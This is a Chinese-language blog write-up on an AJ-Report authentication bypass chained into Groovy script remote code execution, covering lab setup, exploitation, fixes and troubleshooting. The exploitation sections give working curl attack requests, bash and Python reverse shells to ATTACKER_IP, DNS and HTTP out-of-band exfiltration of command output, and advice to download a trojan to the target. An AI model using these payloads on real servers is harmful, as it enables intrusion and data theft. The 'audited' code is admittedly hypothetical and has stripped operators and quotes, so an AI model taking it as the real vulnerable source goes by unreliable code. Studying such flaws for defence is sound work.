AJ-Report认证绕过至RCE漏洞深度剖析与实战复现

发布时间:2026/6/26 15:18:04

AJ-Report认证绕过至RCE漏洞深度剖析与实战复现 1. 项目概述一次从认证绕过到RCE的完整链条分析最近在分析一些开源报表系统的安全性时AJ-Report这个项目进入了我的视野。这是一个基于SpringBoot的国产可视化报表工具功能看起来挺全但安全上确实存在一些典型问题。今天要拆解的这个CNVD-2024-15077漏洞就是一个教科书级别的案例它从一个看似不起眼的认证绕过开始最终演变成一条完整的远程代码执行RCE攻击链。对于做安全研究、渗透测试或者负责企业应用安全的同行来说理解这种漏洞的成因、利用条件和修复方法远比单纯复现一个POC更有价值。这个漏洞影响的是AJ-Report v1.4.0及之前的版本核心问题出在权限校验不严和Groovy脚本引擎的不安全使用上。接下来我会带你一步步拆解这个漏洞从环境搭建、漏洞原理分析到手工复现和修复建议整个过程力求清晰透彻让你不仅能“复现”更能“理解”。2. 漏洞环境搭建与核心思路解析2.1 靶场环境快速部署要分析漏洞首先得有个靶子。AJ-Report的官方仓库在Gitee上我们可以直接拉取存在漏洞的版本代码。这里我选择用Docker来搭建好处是环境隔离复现完一键清理不污染宿主机。# 1. 拉取漏洞版本源代码 git clone https://gitee.com/anji-plus/report.git cd report git checkout v1.4.0 # 切换到存在漏洞的版本 # 2. 使用Maven打包确保本地已安装JDK 8和Maven mvn clean package -DskipTests # 3. 构建Docker镜像 docker build -t aj-report-vuln:1.4.0 .如果你不想自己编译网上也有安全研究者打包好的现成镜像直接用docker pull拉取运行即可。运行起来后默认访问地址是http://localhost:8080。初始账号密码通常是admin/admin但我们的漏洞利用恰恰不需要这个。注意强烈建议在虚拟机或隔离的网络环境中进行漏洞复现切勿在公网或生产环境关联的网络中操作。所有操作仅用于安全学习与研究。2.2 漏洞核心逻辑与攻击链梳理在动手之前我们先在脑子里把整个攻击链路过一遍。这个CNVD-2024-15077漏洞本质上是一个“组合漏洞”它由两个关键环节串联而成认证绕过CVE-2024-XXXXX - 假设编号系统对部分API接口的权限校验存在缺陷攻击者可以在未登录的情况下直接访问某些本应需要授权才能调用的功能接口。不安全的Groovy脚本执行RCE根源系统提供了一个“数据源”测试功能允许用户输入Groovy脚本来进行数据转换或连接测试。该功能本应受到严格的权限和输入限制但由于环节1的认证被绕过攻击者可以直接向该接口提交恶意Groovy脚本而服务端未对脚本内容进行安全检查导致任意代码执行。为什么是Groovy这是理解这个漏洞深度的关键。AJ-Report使用Groovy作为动态脚本引擎可能是为了提供灵活的数据处理和报表生成能力。Groovy脚本在Java平台上运行能无缝调用Java API功能非常强大。但“能力越大责任越大”如果没有沙箱Sandbox机制一句ls.execute().text就能执行系统命令。开发者在引入这种强大功能时如果没有配套的权限管控和输入过滤就等于在系统里埋下了一颗定时炸弹。攻击链全景图攻击者未授权 - 利用认证绕过访问 /api/source/test 接口 - 提交包含系统命令的Groovy脚本 - 服务端解析并执行Groovy脚本 - 调用Runtime.getRuntime().exec() - 实现远程代码执行RCE整个漏洞的利用条件相对宽松只需要目标系统开放了Web服务且存在漏洞接口即可属于高危漏洞。下面我们就进入实战环节看看如何一步步把它挖出来。3. 漏洞原理深度剖析与关键代码定位3.1 认证绕过漏洞点分析首先看第一个突破口——认证绕过。在Spring Boot应用中权限校验通常通过拦截器Interceptor、过滤器Filter或AOP切面来实现。AJ-Report使用了常见的基于拦截器的权限校验。我们定位到权限校验的关键类通常是名为SecurityInterceptor、AuthInterceptor或类似的文件。查看其preHandle方法public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String uri request.getRequestURI(); // 1. 静态资源放行 if (uri.endsWith(.js) || uri.endsWith(.css) || uri.endsWith(.ico)) { return true; } // 2. 登录相关接口放行 if (uri.contains(/login) || uri.contains(/logout)) { return true; } // 3. 问题点不完整的放行规则 // 可能存在对 /api/ 下某些路径的误放行或者通配符规则过于宽泛 // 例如 if (uri.startsWith(/api/public/)) { return true; } // 但实际攻击者可以尝试访问 /api/private/test如果规则有漏洞可能被绕过。 // 4. 检查Session或Token HttpSession session request.getSession(false); if (session null || session.getAttribute(USER_SESSION_KEY) null) { response.sendRedirect(/login.html); return false; } return true; }漏洞的根源往往出现在第3点放行白名单不完整或不精确。开发者可能本意是放行一些真正的公共API如验证码获取、公开信息查询但在配置时可能犯了以下错误之一路径匹配错误例如使用/api/*/test这样的模糊匹配意图是匹配/api/public/test但/api/private/test也被意外放行了。遗漏校验新增了一个敏感接口/api/source/test但忘记将其从白名单中排除或者忘记将其加入需要鉴权的路径列表。配置顺序错误在安全配置中放行规则写在鉴权规则之前且放行规则过于宽泛如/api/**导致后续的鉴权规则实际上对某些接口失效。通过审计代码我们发现在AJ-Report v1.4.0中用于测试数据源的接口/api/source/test的访问权限未被正确校验。攻击者无需提供任何认证凭证如Cookie、Token即可直接向该接口发送POST请求。3.2 Groovy脚本引擎的不安全调用绕过认证后我们来到了第二个漏洞点——不安全的Groovy脚本执行。找到处理/api/source/test的控制器方法如DataSourceController.test()。PostMapping(/test) public Result testDataSource(RequestBody DataSourceTestRequest request) { // 假设 request 中包含 connectionUrl, username, password, 以及一个可选的 validationQuery 或 script 字段 String script request.getValidationQuery(); // 或者 getScript() try { // 危险操作未经过任何过滤直接执行用户传入的Groovy脚本 GroovyShell shell new GroovyShell(); Object result shell.evaluate(script); // 这里是RCE发生的关键行 // 或者通过 GroovyScriptEngine // GroovyScriptEngine engine new GroovyScriptEngine(); // Object result engine.run(script, new Binding()); return Result.success(result); } catch (Exception e) { return Result.fail(数据源测试失败: e.getMessage()); } }关键问题分析直接执行shell.evaluate()GroovyShell.evaluate(String script)方法会直接编译并执行传入的字符串脚本。如果这个字符串来自用户输入且内容为Runtime.getRuntime().exec(calc)那么服务器就会弹出计算器Windows环境下。无任何沙箱限制代码中没有设置SecureASTCustomizer或CompilationCustomizer来限制Groovy脚本的权限例如禁止调用Runtime、ProcessBuilder、System.exit()等危险类和方法。错误的信任边界开发者可能假设这个接口只会被前端管理员控制台调用而管理员是可信的。但他们忽略了“认证绕过”这个前提导致不可信的用户也能接触到这个功能。Groovy实现RCE的常见Payload// 执行系统命令并返回结果 println whoami.execute().text // 利用Java反射调用Runtime Class.forName(java.lang.Runtime).getRuntime().exec(touch /tmp/hacked) // 更简短的写法 calc.execute()理解了这个原理我们就知道攻击者只需要构造一个包含上述恶意Groovy代码的HTTP请求发送到已被绕过的/api/source/test接口即可实现远程代码执行。4. 手工复现与漏洞利用实战掌握了原理我们开始手动复现。相比于直接运行自动化脚本手工复现能让你更清晰地理解每一个环节。4.1 信息收集与接口探测首先访问目标系统确认其是否为AJ-Report并尝试获取版本信息。通常可以通过以下方式访问根路径/查看页面标题、版权信息。查看/js/或/css/目录下的文件文件名可能包含版本哈希。访问可能的接口文档路径如/doc.htmlSwagger、/v2/api-docs。使用浏览器开发者工具F12的“网络Network”选项卡观察正常登录和操作时浏览器发送了哪些请求重点关注URL中包含/api/和/test的请求。这能帮助我们定位到潜在的攻击接口。4.2 构造认证绕过请求由于我们已从代码分析中知道漏洞接口是/api/source/test现在需要验证它是否真的能被未授权访问。我们可以使用curl命令或Burp Suite这类工具来发送请求。步骤1验证接口是否存在且未授权# 尝试直接GET访问可能返回405 Method Not Allowed这至少说明路径存在 curl -v http://localhost:8080/api/source/test # 尝试发送一个空的POST请求观察响应 curl -X POST http://localhost:8080/api/source/test \ -H Content-Type: application/json \ -d {}如果返回的错误信息是“参数缺失”、“脚本为空”等业务逻辑错误而不是“未授权访问”或重定向到登录页那么认证绕过很可能存在。如果返回401/403则说明权限校验可能生效需要重新审查代码或寻找其他绕过点。4.3 构造RCE攻击Payload确认接口可未授权访问后下一步就是构造能触发命令执行的Groovy脚本。我们需要分析这个/api/source/test接口预期的请求体结构。通过查看前端代码或拦截正常请求我们可以推断出它可能需要以下JSON结构{ dataSourceType: MYSQL, connectionUrl: jdbc:mysql://localhost:3306/test, username: root, password: 123456, validationQuery: SELECT 1 }我们的突破口在validationQuery字段。在JDBC中这个字段通常用于连接池验证连接的简单SQL语句如SELECT 1。但在这个漏洞版本中后端可能错误地将其作为Groovy脚本来解析执行。因此我们将恶意的Groovy代码放入这个字段。构造第一个测试Payload无害验证{ dataSourceType: MYSQL, connectionUrl: jdbc:mysql://localhost:3306/test, username: root, password: 123456, validationQuery: return Hello_RCE }发送这个请求如果响应中包含了Hello_RCE字符串那么就铁证如山地证明了该字段的内容被当作Groovy脚本执行了。构造真正的RCE Payload 现在我们可以注入系统命令。根据目标操作系统命令有所不同Linux/Unix系统{ validationQuery: println id.execute().text }Windows系统{ validationQuery: println whoami.execute().text }使用curl发送攻击请求curl -X POST http://localhost:8080/api/source/test \ -H Content-Type: application/json \ -d { dataSourceType: MYSQL, connectionUrl: jdbc:mysql://localhost:3306/test, username: root, password: 123456, validationQuery: println \whoami\.execute().text }如果漏洞存在你将在响应体中看到当前服务器进程的执行用户如root、www-data、system等。4.4 进阶利用获取反向Shell执行单条命令并回显只是第一步。在真实的渗透测试中我们通常需要获得一个交互式的Shell以便进行更深入的操作。这可以通过在目标服务器上执行PowerShell、Bash或Python脚本来实现。以Linux目标为例获取反向Shell在攻击机上监听一个端口nc -lvnp 4444构造Payload让目标机连接回我们的攻击机。Groovy脚本需要完成这个网络连接和Shell绑定。{ validationQuery: def p [bash, -c, exec bash -i /dev/tcp/ATTACKER_IP/4444 1].execute(); p.waitFor() }将ATTACKER_IP替换为你的攻击机公网IP。这个Payload会在目标服务器上执行bash命令建立一个连接到攻击机4444端口的交互式Shell。重要实操心得在实际测试中可能会遇到Groovy执行环境对管道和重定向符号解析的问题。如果上述复杂命令执行失败可以尝试分步进行先使用wget或curl将一个木马脚本下载到目标服务器临时目录再赋予执行权限并运行。这个过程需要你对目标系统的环境是否有curl/wget、可写目录等有一定的判断。5. 漏洞修复方案与安全加固建议复现漏洞是为了更好地修复它。对于企业开发和安全团队给出明确的修复方案至关重要。5.1 紧急临时修复方案如果线上系统急需处理可以采取以下立即可行的措施Web应用防火墙WAF规则在WAF或网关层面立即添加规则阻断对/api/source/test接口的未授权访问请求特别是检查POST请求体中是否包含明显的Groovy命令执行特征如.execute()、Runtime.getRuntime()等关键词。但这只是缓解措施不能根除漏洞。接口权限临时加固修改后端拦截器或安全配置确保/api/source/test以及所有/api/source/下的接口都必须经过严格的登录态校验。可以在拦截器中添加明确的鉴权逻辑。// 在拦截器的放行白名单中确保移除或严格限制 /api/source/ 路径 // 将原有的宽松匹配改为精确匹配必要的公共接口 if (!uri.startsWith(/api/public/) uri.startsWith(/api/)) { // 所有 /api/ 下的非public接口都需要鉴权 if (!checkAuth(request)) { response.sendError(403, Forbidden); return false; } }5.2 根本性修复方案临时修复后必须从代码层面进行根本性修复并升级到安全版本。修复方案一升级到官方已修复的版本这是最推荐的做法。关注AJ-Report的官方仓库Gitee/Github查看最新版本v1.4.1及以上的发布说明确认该漏洞已被修复。然后制定稳妥的升级计划。修复方案二代码层面修复如果无法立即升级如果暂时无法升级需要对源代码进行手动修补。修复认证绕过全面审计SecurityInterceptor或类似组件的权限校验逻辑。使用精确的路径匹配避免使用**等过于宽泛的通配符。采用“默认拒绝显式允许”的原则默认所有/api/下的接口都需要认证只显式放行少数确需公开的接口如/api/login,/api/captcha。建议引入Spring Security等成熟的安全框架来管理权限减少手动编写拦截器可能产生的逻辑漏洞。修复不安全的Groovy脚本执行输入校验与白名单对validationQuery字段进行严格的输入校验。如果该字段本意是执行SQL则只允许包含特定的SQL关键词SELECT, INSERT等并严格过滤分号、注释符等。更好的做法是这个字段根本不接受Groovy脚本。移除动态脚本功能评估是否真的需要Groovy动态脚本功能。如果非必需直接移除相关代码是最安全的。实施沙箱Sandbox如果必须保留Groovy脚本功能则必须实现沙箱机制。使用SecureASTCustomizer或CompilationCustomizer来限制可访问的类和方法。禁止导入java.lang.Runtime、java.lang.ProcessBuilder、java.lang.System等危险类。设置一个安全的ClassLoader。在独立的、权限受限的线程中执行脚本。设置脚本执行超时时间防止恶意脚本无限循环。// 示例创建一个受限的GroovyShell SecureASTCustomizer secure new SecureASTCustomizer(); secure.setImportsWhitelist(Arrays.asList(java.math.*)); // 只允许导入数学包 secure.setIndirectImportCheckEnabled(true); secure.setMethodDefinitionAllowed(false); // 禁止定义方法 CompilerConfiguration config new CompilerConfiguration(); config.addCompilationCustomizers(secure); GroovyShell shell new GroovyShell(config); // 使用安全配置的shell // 注意即使这样沙箱的实现也非常复杂且容易绕过需谨慎评估。最小权限执行如果脚本只是为了进行简单的数据转换或计算考虑使用更安全、功能更单一的脚本引擎如JEXLApache Commons JEXL的沙箱模式或者使用JSONPath、SpEL但需注意Spring SpEL也有过RCE漏洞并做好严格限制。5.3 安全开发规范建议从这个漏洞中我们可以总结出以下几点对开发团队至关重要的安全规范永不信任客户端输入所有用户输入包括URL参数、HTTP头、请求体都必须视为不可信的必须在服务端进行严格的校验、过滤和转义。默认拒绝原则在权限设计上默认所有接口都需要认证只有显式声明的公开接口才允许未授权访问。定期审计接口权限矩阵。谨慎使用动态代码执行尽量避免在应用中使用eval()、GroovyShell.evaluate()、ScriptEngine.eval()等能执行动态代码的功能。如果业务必须使用必须配套实现强大的沙箱机制并进行严格的安全评审。依赖组件安全定期使用SCA软件成分分析工具扫描项目依赖关注第三方库的漏洞公告并及时升级到安全版本。纵深防御不要只依赖一层防护。即使后端代码有漏洞前端的WAF、主机的入侵检测系统HIDS、网络的隔离策略也能在攻击链的早期发现或阻断威胁。6. 常见问题与排查技巧实录在复现和分析这类漏洞的过程中你可能会遇到一些典型问题。这里我把自己踩过的坑和解决方法记录下来希望能帮你节省时间。问题1发送Payload后返回“数据源连接失败”或类似的模糊错误没有命令执行结果。排查思路检查Payload语法Groovy脚本语法是否正确字符串转义在JSON中是否正确例如双引号在JSON中需要转义为\。建议先用一个简单的return test来验证脚本执行功能是否正常。查看服务器日志这是最重要的排查手段。查看AJ-Report应用的后台日志如logs/目录下的文件里面通常会打印出完整的异常堆栈信息。你可能看到GroovyScriptExecutionException或SecurityException。命令执行环境问题Runtime.exec()执行命令受到服务器环境变量PATH的限制。尝试使用命令的绝对路径如/bin/sh -c whoamiLinux或cmd /c whoamiWindows。输出流问题.execute().text会读取命令的标准输出stdout。如果命令执行出错错误信息在标准错误stderr中。可以尝试重定向错误输出whoami 21.execute().text。问题2漏洞复现成功但命令执行后无回显。解决技巧尝试写文件如果命令执行了但无法回显可以尝试将结果写入一个Web可访问的临时文件。whoami /tmp/result.txt.execute().waitFor()然后尝试通过Web访问http://target/tmp/result.txt如果静态资源目录配置不当可能能访问到。使用DNS或HTTP外带通道OOB这是更高级的技巧。让被攻击服务器主动向你的可控域名或服务器发起请求将命令执行结果带出来。例如nslookup $(whoami).your-domain.com.execute()然后在你的DNS日志中查看子域名解析记录。或者用curl/wgetcurl http://your-server/$(whoami)。尝试执行一个会产生明显副作用的命令如ping你的攻击机并用tcpdump抓包或者在目标服务器创建一个新文件touch /tmp/pwned_success然后通过其他信息泄露漏洞检查文件是否创建。问题3在Docker环境中复现命令执行成功但无法反弹Shell。原因与解决Docker容器默认的网络模式可能限制了外部连接或者容器内缺少必要的网络工具如netcat, bash。可以尝试确认攻击机IP从容器的网络视角是否可达。使用更通用的Payload例如用Python反弹Shell假设容器内有Python{validationQuery: [python3, -c, import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\ATTACKER_IP\,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]);].execute()}或者先通过漏洞在容器内下载一个静态编译的netcat工具再执行反弹。问题4如何判断目标系统是否使用了存在漏洞的AJ-Report版本指纹识别访问网站根路径查看页面标题、底部版权信息。查看/report/或/static/目录下的JS/CSS文件注释或变量名中可能包含版本信息。尝试访问/api/下的常见接口如/api/login观察返回的JSON数据结构或错误信息特征。如果存在未授权访问尝试访问/api/source/test接口根据其返回的错误信息判断。在整个漏洞研究过程中保持耐心和细致的观察力非常重要。多查看日志多尝试不同的Payload变体理解每一层HTTP框架、权限校验、脚本引擎的工作原理你不仅能复现这个漏洞更能举一反三发现更多类似的问题。安全研究就是一个不断深入理解系统行为并寻找其与安全假设之间差距的过程。

相关新闻